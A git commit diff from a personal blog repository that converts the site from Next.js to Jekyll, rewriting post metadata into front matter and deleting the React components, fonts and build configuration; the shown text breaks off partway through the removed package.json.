aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlonkaars <loek@pipeframe.xyz>2024-04-12 10:31:48 +0200
committerlonkaars <loek@pipeframe.xyz>2024-04-12 10:31:48 +0200
commitc364c4b0273e76cb13571878d1a4a2853a392b9b (patch)
tree0deb386ef2e380436a74ad9fcf5b023c999dfed7
parent583f9fa1018bb688323f2367e99c53bba9843f61 (diff)
WIP transition to jekyll
-rw-r--r--.gitignore37
-rw-r--r--_config.yml9
-rw-r--r--_data/authors.yml7
-rw-r--r--_layouts/post.html30
-rw-r--r--_posts/2021-04-13-software.md (renamed from posts/software.md)19
-rw-r--r--_posts/2021-04-24-connect4.md (renamed from posts/connect4.md)16
-rw-r--r--_posts/2021-04-28-git.md (renamed from posts/git.md)17
-rw-r--r--_posts/2021-07-13-redpwn2021.md (renamed from posts/redpwn2021.md)19
-rw-r--r--_posts/2021-07-22-scoop.md (renamed from posts/scoop.md)17
-rw-r--r--_posts/2021-08-17-homeauto.md (renamed from posts/homeauto.md)24
-rw-r--r--_posts/2021-09-09-avanswifi.md (renamed from posts/avanswifi.md)15
-rw-r--r--_posts/2022-01-24-latex.md (renamed from posts/latex.md)17
-rw-r--r--components/button.tsx9
-rw-r--r--components/card.tsx14
-rw-r--r--components/chapters.tsx68
-rw-r--r--components/image.tsx11
-rw-r--r--components/navbar.tsx70
-rw-r--r--components/seperator.tsx12
-rw-r--r--components/tag.tsx28
-rw-r--r--dprint.json25
-rw-r--r--img/avanswifi.png (renamed from public/img/avanswifi.png)bin11154 -> 11154 bytes
-rw-r--r--img/connectfourbeta.png (renamed from public/img/connectfourbeta.png)bin58883 -> 58883 bytes
-rw-r--r--img/git.png (renamed from public/img/git.png)bin4254 -> 4254 bytes
-rw-r--r--img/helloworld.png (renamed from public/img/helloworld.png)bin16179 -> 16179 bytes
-rw-r--r--img/homeauto.png (renamed from public/img/homeauto.png)bin71740 -> 71740 bytes
-rw-r--r--img/homeauto/controller_board.jpg (renamed from public/img/homeauto/controller_board.jpg)bin3816785 -> 3816785 bytes
-rw-r--r--img/homeauto/controller_original.jpg (renamed from public/img/homeauto/controller_original.jpg)bin3581275 -> 3581275 bytes
-rw-r--r--img/homeauto/esp8266.jpg (renamed from public/img/homeauto/esp8266.jpg)bin3865836 -> 3865836 bytes
-rw-r--r--img/homeauto/espfit.png (renamed from public/img/homeauto/espfit.png)bin10565344 -> 10565344 bytes
-rw-r--r--img/homeauto/finishedcontroller.png (renamed from public/img/homeauto/finishedcontroller.png)bin4409149 -> 4409149 bytes
-rw-r--r--img/homeauto/irboardbot.png (renamed from public/img/homeauto/irboardbot.png)bin4587329 -> 4587329 bytes
-rw-r--r--img/homeauto/irboardtop.png (renamed from public/img/homeauto/irboardtop.png)bin4736589 -> 4736589 bytes
-rw-r--r--img/homeauto/open_controller.jpg (renamed from public/img/homeauto/open_controller.jpg)bin3565942 -> 3565942 bytes
-rw-r--r--img/homeauto/opening_controller.jpg (renamed from public/img/homeauto/opening_controller.jpg)bin3438595 -> 3438595 bytes
-rw-r--r--img/homeauto/schematic.png (renamed from public/img/homeauto/schematic.png)bin109370 -> 109370 bytes
-rw-r--r--img/homeauto/shittydremel.png (renamed from public/img/homeauto/shittydremel.png)bin9012008 -> 9012008 bytes
-rw-r--r--img/latex.png (renamed from public/img/latex.png)bin7014 -> 7014 bytes
-rw-r--r--img/redpwn2021.png (renamed from public/img/redpwn2021.png)bin10895 -> 10895 bytes
-rw-r--r--img/redpwn2021/cyberchef1.png (renamed from public/img/redpwn2021/cyberchef1.png)bin71260 -> 71260 bytes
-rw-r--r--img/redpwn2021/cyberchef2.png (renamed from public/img/redpwn2021/cyberchef2.png)bin78732 -> 78732 bytes
-rw-r--r--img/redpwn2021/leaderboard.png (renamed from public/img/redpwn2021/leaderboard.png)bin17973 -> 17973 bytes
-rw-r--r--img/scoop.png (renamed from public/img/scoop.png)bin222389 -> 222389 bytes
-rw-r--r--img/software.png (renamed from public/img/software.png)bin23521 -> 23521 bytes
-rw-r--r--index.md (renamed from posts/index.md)15
-rw-r--r--makefile5
-rw-r--r--package.json29
-rw-r--r--pages/_app.tsx34
-rw-r--r--pages/index.tsx101
-rw-r--r--pages/post/[id].tsx216
-rw-r--r--pages/search.tsx170
-rw-r--r--public/atom.xml4403
-rw-r--r--public/font/font.css115
-rw-r--r--public/font/inter/Inter-Bold.woffbin143100 -> 0 bytes
-rw-r--r--public/font/inter/Inter-Bold.woff2bin106052 -> 0 bytes
-rw-r--r--public/font/inter/Inter-BoldItalic.woffbin149808 -> 0 bytes
-rw-r--r--public/font/inter/Inter-BoldItalic.woff2bin111644 -> 0 bytes
-rw-r--r--public/font/inter/Inter-Italic.woffbin143188 -> 0 bytes
-rw-r--r--public/font/inter/Inter-Italic.woff2bin106604 -> 0 bytes
-rw-r--r--public/font/inter/Inter-Medium.woffbin142340 -> 0 bytes
-rw-r--r--public/font/inter/Inter-Medium.woff2bin105500 -> 0 bytes
-rw-r--r--public/font/inter/Inter-MediumItalic.woffbin149704 -> 0 bytes
-rw-r--r--public/font/inter/Inter-MediumItalic.woff2bin111968 -> 0 bytes
-rw-r--r--public/font/inter/Inter-Regular.woffbin133856 -> 0 bytes
-rw-r--r--public/font/inter/Inter-Regular.woff2bin98804 -> 0 bytes
-rw-r--r--public/font/inter/Inter-SemiBold.woffbin142760 -> 0 bytes
-rw-r--r--public/font/inter/Inter-SemiBold.woff2bin105992 -> 0 bytes
-rw-r--r--public/font/inter/Inter-SemiBoldItalic.woffbin149776 -> 0 bytes
-rw-r--r--public/font/inter/Inter-SemiBoldItalic.woff2bin111676 -> 0 bytes
-rw-r--r--public/font/jetbrainsmono/JetBrainsMono-Bold.woff2bin59436 -> 0 bytes
-rw-r--r--public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2bin61992 -> 0 bytes
-rw-r--r--public/font/jetbrainsmono/JetBrainsMono-Italic.woff2bin60864 -> 0 bytes
-rw-r--r--public/font/jetbrainsmono/JetBrainsMono-Medium.woff2bin59232 -> 0 bytes
-rw-r--r--public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2bin62208 -> 0 bytes
-rw-r--r--public/font/jetbrainsmono/JetBrainsMono-Regular.woff2bin58268 -> 0 bytes
-rw-r--r--public/robots.txt2
-rw-r--r--readme.md16
-rw-r--r--robots.txt1
-rw-r--r--rss/base.xml10
-rwxr-xr-xrss/genrss23
-rwxr-xr-xscripts/build29
-rwxr-xr-xscripts/genposts9
-rwxr-xr-xscripts/meta22
-rwxr-xr-xscripts/postinfo24
-rwxr-xr-xscripts/posts16
-rwxr-xr-xscripts/tags10
-rw-r--r--tsconfig.json29
-rw-r--r--yarn.lock2480
87 files changed, 154 insertions, 8069 deletions
diff --git a/.gitignore b/.gitignore
index 6413ab8..ca77d87 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,37 +1,6 @@
-# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+_site
+.jekyll-cache
+.jekyll-metadata
-# dependencies
-/node_modules
-/.pnp
-.pnp.js
-
-# testing
-/coverage
-
-# next.js
-/.next/
-/out/
-next-env.d.ts
-
-# production
-/build
-
-# misc
.DS_Store
-*.pem
-
-# debug
-npm-debug.log*
-yarn-debug.log*
-yarn-error.log*
-
-# local env files
-.env.local
-.env.development.local
-.env.test.local
-.env.production.local
-
-# vercel
-.vercel
-public/posts.json
diff --git a/_config.yml b/_config.yml
new file mode 100644
index 0000000..f82b166
--- /dev/null
+++ b/_config.yml
@@ -0,0 +1,9 @@
+permalink: /post/:title
+exclude:
+ - makefile
+ - license
+defaults:
+ - scope:
+ type: posts
+ values:
+ layout: post
diff --git a/_data/authors.yml b/_data/authors.yml
new file mode 100644
index 0000000..225bec1
--- /dev/null
+++ b/_data/authors.yml
@@ -0,0 +1,7 @@
+authors:
+ - name: Loek
+ git:
+ - lonkaars
+ - name: Willem
+ git:
+ - Willem Paternotte
diff --git a/_layouts/post.html b/_layouts/post.html
new file mode 100644
index 0000000..847df76
--- /dev/null
+++ b/_layouts/post.html
@@ -0,0 +1,30 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+ <meta charset="UTF-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
+ <title>{{ page.title }} - Loek's Blog</title>
+ <meta property='og:site_name' content='{{ page.date }}' />
+ <meta property='og:title' content='{{ page.title }}' />
+ <meta property='og:description' content='{{ page.subtitle }}' />
+</head>
+<body>
+ <div className='centeredPage'>
+ <div className='titleWrapper'>
+ <h1>{{ page.title }}</h1>
+ <p className='subtile'>{{ page.subtitle }}</p>
+ {props.meta.tags && <Tags tags={props.meta.tags} />}
+ </div>
+ <div className='navAreaWrapper'>
+ <div className='sticky'>
+ <Navbar />
+ <Chapters chapters={props.meta.chapters} />
+ </div>
+ </div>
+ <MobileNavbar />
+ <div className='contentWrapper'>
+ {{ content }}
+ </div>
+ </div>
+</body>
+</html>
diff --git a/posts/software.md b/_posts/2021-04-13-software.md
index 2a06fed..9cad319 100644
--- a/posts/software.md
+++ b/_posts/2021-04-13-software.md
@@ -1,9 +1,16 @@
-[meta]: <title> (Software that I use)
-[meta]: <subtitle> (Desktop software, server software, phone apps, everything)
-[meta]: <author> (Loek)
-[meta]: <date> (April 13 2021)
-[meta]: <tags> (software, open source, server, phone)
-[meta]: <cover> (/img/software.png)
+---
+title: Software that I use
+subtitle: Desktop software, server software, phone apps, everything
+author: Loek
+date: April 13 2021
+tags:
+ - software
+ - open
+ - source
+ - server
+ - phone
+cover: /img/software.png
+---
## PC software
diff --git a/posts/connect4.md b/_posts/2021-04-24-connect4.md
index 89f8db2..c1e0c69 100644
--- a/posts/connect4.md
+++ b/_posts/2021-04-24-connect4.md
@@ -1,9 +1,13 @@
-[meta]: <title> (Connect 4 beta live!)
-[meta]: <subtitle> (Announcement post)
-[meta]: <author> (Loek)
-[meta]: <date> (April 24 2021)
-[meta]: <tags> (connect 4, beta)
-[meta]: <cover> (/img/connectfourbeta.png)
+---
+title: Connect 4 beta live!
+subtitle: Announcement post
+author: Loek
+date: April 24 2021
+tags:
+ - connect 4
+ - beta
+cover: /img/connectfourbeta.png
+---
My connect four website is currently online as a public beta. You can visit the
website at <https://connect4.pipeframe.xyz>. A list of known bugs is on the
diff --git a/posts/git.md b/_posts/2021-04-28-git.md
index 7d3ddbe..17d43dc 100644
--- a/posts/git.md
+++ b/_posts/2021-04-28-git.md
@@ -1,9 +1,14 @@
-[meta]: <title> (My git setup)
-[meta]: <subtitle> (How I use git on my server)
-[meta]: <author> (Loek)
-[meta]: <date> (April 28 2021)
-[meta]: <tags> (git, server, software)
-[meta]: <cover> (/img/git.png)
+---
+title: My git setup
+subtitle: How I use git on my server
+author: Loek
+date: April 28 2021
+tags:
+ - git
+ - server
+ - software
+cover: /img/git.png
+---
## Overview
diff --git a/posts/redpwn2021.md b/_posts/2021-07-13-redpwn2021.md
index 97ee0a9..3c1a991 100644
--- a/posts/redpwn2021.md
+++ b/_posts/2021-07-13-redpwn2021.md
@@ -1,9 +1,16 @@
-[meta]: <title> (redpwnCTF 2021)
-[meta]: <subtitle> (A noob's perspective)
-[meta]: <author> (Loek, Willem)
-[meta]: <date> (July 13 2021)
-[meta]: <tags> (hacking, CTF, writeup)
-[meta]: <cover> (/img/redpwn2021.png)
+---
+title: redpwnCTF 2021
+subtitle: A noob's perspective
+authors:
+ - Loek
+ - Willem
+date: July 13 2021
+tags:
+ - hacking
+ - CTF
+ - writeup
+cover: /img/redpwn2021.png
+---
This is the first 'real' CTF I've participated in. About two weeks ago, a
friend of mine was stuck on some challenges from the Radboud CTF. This was a
diff --git a/posts/scoop.md b/_posts/2021-07-22-scoop.md
index aa60934..c0ef34d 100644
--- a/posts/scoop.md
+++ b/_posts/2021-07-22-scoop.md
@@ -1,9 +1,14 @@
-[meta]: <title> (Scoop guide)
-[meta]: <subtitle> (Handbook and quick explanations)
-[meta]: <author> (Loek)
-[meta]: <date> (July 22 2021)
-[meta]: <tags> (windows, normie, software)
-[meta]: <cover> (/img/scoop.png)
+---
+title: Scoop guide
+subtitle: Handbook and quick explanations
+author: Loek
+date: July 22 2021
+tags:
+ - windows
+ - normie
+ - software
+cover: /img/scoop.png
+---
Here's a quick reference for returning customers:
diff --git a/posts/homeauto.md b/_posts/2021-08-17-homeauto.md
index 35d8d12..5a89988 100644
--- a/posts/homeauto.md
+++ b/_posts/2021-08-17-homeauto.md
@@ -1,9 +1,21 @@
-[meta]: <title> (My home automation adventure)
-[meta]: <subtitle> (How to make your house a shitty utopia)
-[meta]: <author> (Loek)
-[meta]: <date> (August 17 2021)
-[meta]: <tags> (home automation, raspberry pi, esp8266, cc2500, microcontrollers, software, hardware, hacking)
-[meta]: <cover> (/img/homeauto.png)
+---
+title: My home automation adventure
+subtitle: How to make your house a shitty utopia
+author: Loek
+date: August 17 2021
+tags:
+ - home
+ - automation
+ - raspberry
+ - pi
+ - esp8266
+ - cc2500
+ - microcontrollers
+ - software
+ - hardware
+ - hacking
+cover: /img/homeauto.png
+---
Home automation is cool, but it can also be scary. I want to try to convert my
existing bedroom lights into 'smart' lights that I can control using a home
diff --git a/posts/avanswifi.md b/_posts/2021-09-09-avanswifi.md
index 11191fd..4359bac 100644
--- a/posts/avanswifi.md
+++ b/_posts/2021-09-09-avanswifi.md
@@ -1,9 +1,12 @@
-[meta]: <title> (Avans wifi setup)
-[meta]: <subtitle> (How to use Avans eduroam with NetworkManager)
-[meta]: <author> (Loek)
-[meta]: <date> (September 9 2021)
-[meta]: <tags> (software)
-[meta]: <cover> (/img/avanswifi.png)
+---
+title: Avans wifi setup
+subtitle: How to use Avans eduroam with NetworkManager
+author: Loek
+date: September 9 2021
+tags:
+ - software
+cover: /img/avanswifi.png
+---
I wasted 2 hours trying to set up my school's WiFi, so here's a quick reference
for other students who might've tried connecting but ended up giving up.
diff --git a/posts/latex.md b/_posts/2022-01-24-latex.md
index e1f4163..4db2ec1 100644
--- a/posts/latex.md
+++ b/_posts/2022-01-24-latex.md
@@ -1,9 +1,14 @@
-[meta]: <title> (My LaTeX setup)
-[meta]: <subtitle> (How to set up a simple LaTeX environment with XeTeX and latexmk)
-[meta]: <author> (Loek)
-[meta]: <date> (January 24 2022)
-[meta]: <tags> (software, latex, git)
-[meta]: <cover> (/img/latex.png)
+---
+title: My LaTeX setup
+subtitle: How to set up a simple LaTeX environment with XeTeX and latexmk
+author: Loek
+date: January 24 2022
+tags:
+ - software
+ - latex
+ - git
+cover: /img/latex.png
+---
I started using LaTeX instead of MS Word about two years ago, and I've never
regretted the decision. I switched out of frustration because Word makes it
diff --git a/components/button.tsx b/components/button.tsx
deleted file mode 100644
index 23201aa..0000000
--- a/components/button.tsx
+++ /dev/null
@@ -1,9 +0,0 @@
-export default function Button(props: {
- text: string;
- href?: string;
- onclick?: () => void;
-}) {
- return props.href
- ? <a href={props.href} className='button'>{props.text}</a>
- : <button onClick={props.onclick} className='button'>{props.text}</button>;
-}
diff --git a/components/card.tsx b/components/card.tsx
deleted file mode 100644
index 7a6a472..0000000
--- a/components/card.tsx
+++ /dev/null
@@ -1,14 +0,0 @@
-import Tags from './tag';
-
-import { ArticleMeta } from '../pages/post/[id]';
-
-export default function PostCard(props: {
- post: ArticleMeta;
-}) {
- return <a className='postCard' href={'/post/' + props.post.id}>
- {props.post.cover && <img src={props.post.cover} className='cover' />}
- <h2 className='title'>{props.post.title}</h2>
- <strong className='subtitle'>{props.post.subtitle}</strong>
- {props.post.tags?.length != 0 && <Tags tags={props.post.tags} />}
- </a>;
-}
diff --git a/components/chapters.tsx b/components/chapters.tsx
deleted file mode 100644
index 62d8285..0000000
--- a/components/chapters.tsx
+++ /dev/null
@@ -1,68 +0,0 @@
-import { CSSProperties, ReactNode, useState } from 'react';
-
-import { NavbarItem } from '../components/navbar';
-
-import KeyboardArrowDownRoundedIcon from '@material-ui/icons/KeyboardArrowDownRounded';
-import RemoveRoundedIcon from '@material-ui/icons/RemoveRounded';
-
-export interface chapter {
- name: string;
- sectionLink?: string;
- children?: Array<chapter>;
-}
-
-function NavbarChapter(props: {
- level: number;
- chapter: chapter;
- children?: ReactNode;
-}) {
- var [collapsed, setCollapsed] = useState(true);
-
- var icon = <div className={'collapseIcon' + (collapsed ? '' : ' collapsed')}>
- {props.chapter.children?.length > 0
- ? <KeyboardArrowDownRoundedIcon />
- : <RemoveRoundedIcon />}
- </div>;
-
- var classes = [
- 'chapter',
- `indentLevel${props.level}`,
- ];
- !collapsed && classes.push('childrenCollapsed');
-
- var outercss = /* { "--children-height": 0 + "px" } */ {} as CSSProperties;
-
- return <NavbarItem
- icon={icon}
- classList={classes}
- title={props.chapter.name}
- onIconClick={() => props.chapter.children?.length > 0 && setCollapsed(!collapsed)}
- href={props.chapter.sectionLink}
- key={(() => Math.round(Math.random() * 1e12))()}
- style={{
- marginLeft: 12 * props.level,
- }}
- outerStyle={outercss}
- >
- {props.children}
- </NavbarItem>;
-}
-
-class Chapter {
- constructor(public chapters: Array<chapter>, public level: number) {}
- render() {
- return <div className='chapterChildren'>
- {this.chapters?.map(chapter => {
- return <NavbarChapter level={this.level} chapter={chapter}>
- {new Chapter(chapter.children, this.level + 1).render()}
- </NavbarChapter>;
- })}
- </div>;
- }
-}
-
-export default function Chapters(props: {
- chapters: Array<chapter>;
-}) {
- return new Chapter(props.chapters, 0).render();
-}
diff --git a/components/image.tsx b/components/image.tsx
deleted file mode 100644
index 5a8b2cf..0000000
--- a/components/image.tsx
+++ /dev/null
@@ -1,11 +0,0 @@
-export default function Image(props: {
- src: string;
- alt?: string;
-}) {
- return <div className='image'>
- <img src={props.src} alt={props.alt} />
- {props.alt && <div>
- <p>{props.alt}</p>
- </div>}
- </div>;
-}
diff --git a/components/navbar.tsx b/components/navbar.tsx
deleted file mode 100644
index acbec40..0000000
--- a/components/navbar.tsx
+++ /dev/null
@@ -1,70 +0,0 @@
-import { CSSProperties, ReactNode } from 'react';
-
-import HomeRoundedIcon from '@material-ui/icons/HomeRounded';
-import MenuIcon from '@material-ui/icons/Menu';
-import SearchRoundedIcon from '@material-ui/icons/SearchRounded';
-
-export function NavbarItem(props: {
- icon?: ReactNode;
- title: string;
- href?: string;
- active?: boolean;
- children?: ReactNode;
- classList?: Array<string>;
- style?: CSSProperties;
- outerStyle?: CSSProperties;
- onIconClick?: () => void;
- onClick?: () => void;
-}) {
- var classes = props.classList || [];
- classes.push('navbarItem');
- props.active && classes.push('active');
- return <a href={props.href} className={classes.join(' ')} style={props.outerStyle}>
- <div className='inner' style={props.style}>
- <div className='icon' onClick={props.onIconClick}>{props.icon}</div>
- <span className='title' onClick={props.onClick}>{props.title}</span>
- </div>
- {props.children}
- </a>;
-}
-
-export default function Navbar(props: {
- page?: string;
-}) {
- return <div className='globalLinks' style={{ marginBottom: 24 }}>
- <NavbarItem
- active={props.page == 'home'}
- icon={<HomeRoundedIcon />}
- title='Home'
- href='/'
- classList={['indentLevel0', 'link']}
- />
- <NavbarItem
- active={props.page == 'search'}
- icon={<SearchRoundedIcon />}
- title='Search for posts'
- href='/search'
- classList={['indentLevel0', 'link']}
- />
- </div>;
-}
-
-export function MobileNavbar() {
- return <div className='mobileNav'>
- <a className='home button small' href='/'>
- <HomeRoundedIcon />
- </a>
- <a className='search button small' href='/search'>
- <SearchRoundedIcon />
- </a>
- <div
- className='mainButton button'
- onClick={() => {
- document.getElementsByClassName('mobileNav')[0].classList.toggle('open');
- document.getElementsByClassName('navAreaWrapper')[0].classList.toggle('navVisible');
- }}
- >
- <MenuIcon style={{ 'fill': 'var(--oxford-blue)' }} />
- </div>
- </div>;
-}
diff --git a/components/seperator.tsx b/components/seperator.tsx
deleted file mode 100644
index f1843a7..0000000
--- a/components/seperator.tsx
+++ /dev/null
@@ -1,12 +0,0 @@
-export default function ArticleSeperator() {
- return <div className='seperator'>
- <svg width='96' height='12' viewBox='0 0 96 12' fill='none' xmlns='http://www.w3.org/2000/svg'>
- <path
- fillRule='evenodd'
- clipRule='evenodd'
- d='M8.04282 8.19986C6.51226 9.73171 4.24587 12 0 12V6C1.68094 6 2.4102 5.34716 3.87868 3.87868C3.90463 3.85273 3.9308 3.82654 3.95718 3.80014C5.48774 2.26829 7.75413 0 12 0C16.2459 0 18.5123 2.26829 20.0428 3.80014C20.0692 3.82654 20.0954 3.85273 20.1213 3.87868C21.5898 5.34716 22.3191 6 24 6C25.6809 6 26.4102 5.34716 27.8787 3.87868C27.9046 3.85273 27.9308 3.82654 27.9572 3.80014C29.4877 2.26829 31.7541 0 36 0C40.2459 0 42.5123 2.26829 44.0428 3.80014C44.0692 3.82654 44.0954 3.85273 44.1213 3.87868C45.5898 5.34716 46.3191 6 48 6C49.6809 6 50.4102 5.34716 51.8787 3.87868C51.9046 3.85273 51.9308 3.82654 51.9572 3.80014C53.4877 2.26829 55.7541 0 60 0C64.2459 0 66.5123 2.26829 68.0428 3.80014C68.0692 3.82654 68.0954 3.85273 68.1213 3.87868C69.5898 5.34716 70.3191 6 72 6C73.6809 6 74.4102 5.34716 75.8787 3.87868L75.9572 3.80014C77.4877 2.26829 79.7541 0 84 0C88.2459 0 90.5123 2.26829 92.0428 3.80014L92.1213 3.87868C93.5898 5.34716 94.3191 6 96 6V12C91.7541 12 89.4877 9.73171 87.9572 8.19986L87.8787 8.12132C86.4102 6.65284 85.6809 6 84 6C82.3191 6 81.5898 6.65284 80.1213 8.12132L80.0428 8.19986C78.5123 9.73171 76.2459 12 72 12C67.7541 12 65.4877 9.73171 63.9572 8.19986C63.9308 8.17346 63.9046 8.14727 63.8787 8.12132C62.4102 6.65284 61.6809 6 60 6C58.3191 6 57.5898 6.65284 56.1213 8.12132C56.0954 8.14727 56.0692 8.17346 56.0428 8.19986C54.5123 9.73171 52.2459 12 48 12C43.7541 12 41.4877 9.73171 39.9572 8.19986C39.9308 8.17346 39.9046 8.14727 39.8787 8.12132C38.4102 6.65284 37.6809 6 36 6C34.3191 6 33.5898 6.65284 32.1213 8.12132C32.0954 8.14727 32.0692 8.17346 32.0428 8.19986C30.5123 9.73171 28.2459 12 24 12C19.7541 12 17.4877 9.73171 15.9572 8.19986C15.9308 8.17346 15.9046 8.14727 15.8787 8.12132C14.4102 6.65284 13.6809 6 12 6C10.3191 6 9.5898 6.65284 8.12132 8.12132C8.09537 8.14727 8.0692 8.17346 8.04282 8.19986Z'
- fill='var(--fire-opal)'
- />
- </svg>
- </div>;
-}
diff --git a/components/tag.tsx b/components/tag.tsx
deleted file mode 100644
index 048c405..0000000
--- a/components/tag.tsx
+++ /dev/null
@@ -1,28 +0,0 @@
-import { CSSProperties } from 'react';
-
-export default function Tags(props: {
- tags: Array<string>;
-}) {
- return <div className='tags'>
- <span>Tags:</span>
- {props.tags.map(tag => <Tag key={Math.random().toString()} name={tag} />)}
- </div>;
-}
-
-export function Tag(props: {
- name: string;
-}) {
- return <a
- className='tag'
- href={'/search?q=' + props.name}
- style={{
- '--tag-hue': props.name
- .split('')
- .map(char => char.charCodeAt(0))
- .reduce((a, b) => a + b)
- % 360,
- } as CSSProperties}
- >
- {props.name}
- </a>;
-}
diff --git a/dprint.json b/dprint.json
deleted file mode 100644
index 819abc8..0000000
--- a/dprint.json
+++ /dev/null
@@ -1,25 +0,0 @@
-{
- "$schema": "https://dprint.dev/schemas/v0.json",
- "projectType": "openSource",
- "incremental": true,
- "useTabs": true,
- "typescript": {
- "semiColons": "always",
- "quoteStyle": "preferSingle",
- "importDeclaration.spaceSurroundingNamedImports": true
- },
- "json": { "lineWidth": 80 },
- "includes": [
- "**/*.{ts,tsx}",
- "**/*.{json}"
- ],
- "excludes": [
- "node_modules/**",
- "**/*-lock.json",
- ".next/**"
- ],
- "plugins": [
- "https://plugins.dprint.dev/typescript-0.44.0.wasm",
- "https://plugins.dprint.dev/json-0.10.1.wasm"
- ]
-}
diff --git a/public/img/avanswifi.png b/img/avanswifi.png
index b006795..b006795 100644
--- a/public/img/avanswifi.png
+++ b/img/avanswifi.png
Binary files differ
diff --git a/public/img/connectfourbeta.png b/img/connectfourbeta.png
index b4ff091..b4ff091 100644
--- a/public/img/connectfourbeta.png
+++ b/img/connectfourbeta.png
Binary files differ
diff --git a/public/img/git.png b/img/git.png
index 1842eed..1842eed 100644
--- a/public/img/git.png
+++ b/img/git.png
Binary files differ
diff --git a/public/img/helloworld.png b/img/helloworld.png
index dd067bf..dd067bf 100644
--- a/public/img/helloworld.png
+++ b/img/helloworld.png
Binary files differ
diff --git a/public/img/homeauto.png b/img/homeauto.png
index 4398655..4398655 100644
--- a/public/img/homeauto.png
+++ b/img/homeauto.png
Binary files differ
diff --git a/public/img/homeauto/controller_board.jpg b/img/homeauto/controller_board.jpg
index 046785a..046785a 100644
--- a/public/img/homeauto/controller_board.jpg
+++ b/img/homeauto/controller_board.jpg
Binary files differ
diff --git a/public/img/homeauto/controller_original.jpg b/img/homeauto/controller_original.jpg
index 6437506..6437506 100644
--- a/public/img/homeauto/controller_original.jpg
+++ b/img/homeauto/controller_original.jpg
Binary files differ
diff --git a/public/img/homeauto/esp8266.jpg b/img/homeauto/esp8266.jpg
index d1d886c..d1d886c 100644
--- a/public/img/homeauto/esp8266.jpg
+++ b/img/homeauto/esp8266.jpg
Binary files differ
diff --git a/public/img/homeauto/espfit.png b/img/homeauto/espfit.png
index 78ce979..78ce979 100644
--- a/public/img/homeauto/espfit.png
+++ b/img/homeauto/espfit.png
Binary files differ
diff --git a/public/img/homeauto/finishedcontroller.png b/img/homeauto/finishedcontroller.png
index babd439..babd439 100644
--- a/public/img/homeauto/finishedcontroller.png
+++ b/img/homeauto/finishedcontroller.png
Binary files differ
diff --git a/public/img/homeauto/irboardbot.png b/img/homeauto/irboardbot.png
index 2924c1b..2924c1b 100644
--- a/public/img/homeauto/irboardbot.png
+++ b/img/homeauto/irboardbot.png
Binary files differ
diff --git a/public/img/homeauto/irboardtop.png b/img/homeauto/irboardtop.png
index 7cbcf2c..7cbcf2c 100644
--- a/public/img/homeauto/irboardtop.png
+++ b/img/homeauto/irboardtop.png
Binary files differ
diff --git a/public/img/homeauto/open_controller.jpg b/img/homeauto/open_controller.jpg
index d704967..d704967 100644
--- a/public/img/homeauto/open_controller.jpg
+++ b/img/homeauto/open_controller.jpg
Binary files differ
diff --git a/public/img/homeauto/opening_controller.jpg b/img/homeauto/opening_controller.jpg
index a787e32..a787e32 100644
--- a/public/img/homeauto/opening_controller.jpg
+++ b/img/homeauto/opening_controller.jpg
Binary files differ
diff --git a/public/img/homeauto/schematic.png b/img/homeauto/schematic.png
index 2afcc6b..2afcc6b 100644
--- a/public/img/homeauto/schematic.png
+++ b/img/homeauto/schematic.png
Binary files differ
diff --git a/public/img/homeauto/shittydremel.png b/img/homeauto/shittydremel.png
index 830bfa1..830bfa1 100644
--- a/public/img/homeauto/shittydremel.png
+++ b/img/homeauto/shittydremel.png
Binary files differ
diff --git a/public/img/latex.png b/img/latex.png
index 9489d51..9489d51 100644
--- a/public/img/latex.png
+++ b/img/latex.png
Binary files differ
diff --git a/public/img/redpwn2021.png b/img/redpwn2021.png
index b730ad0..b730ad0 100644
--- a/public/img/redpwn2021.png
+++ b/img/redpwn2021.png
Binary files differ
diff --git a/public/img/redpwn2021/cyberchef1.png b/img/redpwn2021/cyberchef1.png
index d0a3a08..d0a3a08 100644
--- a/public/img/redpwn2021/cyberchef1.png
+++ b/img/redpwn2021/cyberchef1.png
Binary files differ
diff --git a/public/img/redpwn2021/cyberchef2.png b/img/redpwn2021/cyberchef2.png
index cb92819..cb92819 100644
--- a/public/img/redpwn2021/cyberchef2.png
+++ b/img/redpwn2021/cyberchef2.png
Binary files differ
diff --git a/public/img/redpwn2021/leaderboard.png b/img/redpwn2021/leaderboard.png
index 5feeea6..5feeea6 100644
--- a/public/img/redpwn2021/leaderboard.png
+++ b/img/redpwn2021/leaderboard.png
Binary files differ
diff --git a/public/img/scoop.png b/img/scoop.png
index fda7b4d..fda7b4d 100644
--- a/public/img/scoop.png
+++ b/img/scoop.png
Binary files differ
diff --git a/public/img/software.png b/img/software.png
index c4cf93b..c4cf93b 100644
--- a/public/img/software.png
+++ b/img/software.png
Binary files differ
diff --git a/posts/index.md b/index.md
index 50894f5..89b4b12 100644
--- a/posts/index.md
+++ b/index.md
@@ -1,9 +1,6 @@
-[meta]: <title> (Loek's excruciatingly interesting blog)
-[meta]: <subtitle> (This is the article that's displayed on the home page)
-[meta]: <author> (Loek)
-[meta]: <date> (April 12 2021)
-[meta]: <tags> (home)
-[meta]: <cover> (/img/helloworld.png)
+---
+title: Loek's excruciatingly interesting blog
+---
Welcome to my blog page! This is where I post updates on things that I do such
as:
@@ -17,9 +14,3 @@ The page you're looking at right now is also open-source! The code for this
page can be found on [GitHub](https://github.com/lonkaars/blog), and should
also be available on [my private git server](https://git.pipeframe.xyz).
-An rss/atom feed of this blog is also available:
-
-```
-https://blog.pipeframe.xyz/atom.xml
-```
-
diff --git a/makefile b/makefile
new file mode 100644
index 0000000..a8578d4
--- /dev/null
+++ b/makefile
@@ -0,0 +1,5 @@
+build:
+ jekyll build --quiet
+
+clean:
+ $(RM) -r _site
diff --git a/package.json b/package.json
deleted file mode 100644
index f4c4d42..0000000
--- a/package.json
+++ /dev/null
@@ -1,29 +0,0 @@
-{
- "name": "blog",
- "version": "0.1.0",
- "private": true,
- "scripts": {
- "dev": "next dev",
- "build": "next build",
- "start": "next start"
- },
- "dependencies": {
- "@material-ui/core": "^4.11.3",
- "@material-ui/icons": "^4.11.2",
- "@types/react-syntax-highlighter": "^13.5.0",
- "fuse.js": "^6.4.6",
- "next": "10.0.9",
- "react": "17.0.2",
- "react-dom": "17.0.2",
- "react-markdown": "^6.0.0",
